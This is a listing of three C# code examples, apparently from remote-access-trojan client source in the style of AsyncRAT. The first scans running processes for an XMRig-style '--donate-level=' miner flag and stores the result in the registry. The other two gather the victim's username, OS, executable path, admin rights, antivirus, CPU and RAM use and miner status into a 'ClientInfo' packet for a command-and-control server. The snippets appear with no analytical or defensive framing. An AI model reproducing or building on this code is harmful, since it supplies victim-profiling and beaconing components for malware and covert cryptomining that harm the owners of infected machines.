Example #1
0
 public string GetProcess()
 {
     foreach (var process in Process.GetProcesses())
     {
         try
         {
             if (GetCommandLine(process).ToLower().Contains("--donate-level="))
             {
                 SetRegistry.SetValue(Settings.Hwid, "1");
                 return("1");
             }
         }
         catch { }
     }
     SetRegistry.SetValue(Settings.Hwid, "0");
     return("0");
 }
Example #2
0
        public static byte[] SendInfo()
        {
            MsgPack msgpack = new MsgPack();

            msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
            msgpack.ForcePathObject("HWID").AsString   = Settings.Hwid;
            msgpack.ForcePathObject("User").AsString   = Environment.UserName.ToString();
            msgpack.ForcePathObject("OS").AsString     = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
                                                         Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
            msgpack.ForcePathObject("Path").AsString    = Process.GetCurrentProcess().MainModule.FileName;
            msgpack.ForcePathObject("Version").AsString = Settings.Version;
            msgpack.ForcePathObject("Admin").AsString   = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
            TheCPUCounter.NextValue();
            msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}   CPU {(int)TheCPUCounter.NextValue()}%   RAM {(int)TheMemCounter.NextValue()}%";
            msgpack.ForcePathObject("Pastebin").AsString    = Settings.Pastebin;
            msgpack.ForcePathObject("Antivirus").AsString   = Methods.Antivirus();
            return(msgpack.Encode2Bytes());
        }
Example #3
0
        public static byte[] SendInfo()
        {
            MsgPack msgpack = new MsgPack();

            msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
            msgpack.ForcePathObject("HWID").AsString   = Settings.Hwid;
            msgpack.ForcePathObject("User").AsString   = Environment.UserName.ToString();
            msgpack.ForcePathObject("OS").AsString     = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
                                                         Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
            msgpack.ForcePathObject("Path").AsString        = Application.ExecutablePath;
            msgpack.ForcePathObject("Version").AsString     = Settings.Version;
            msgpack.ForcePathObject("Admin").AsString       = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
            msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
            msgpack.ForcePathObject("Pastebin").AsString    = Settings.Pastebin;
            msgpack.ForcePathObject("Antivirus").AsString   = Methods.Antivirus();
            msgpack.ForcePathObject("Installed").AsString   = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
            msgpack.ForcePathObject("Pong").AsString        = "";
            return(msgpack.Encode2Bytes());
        }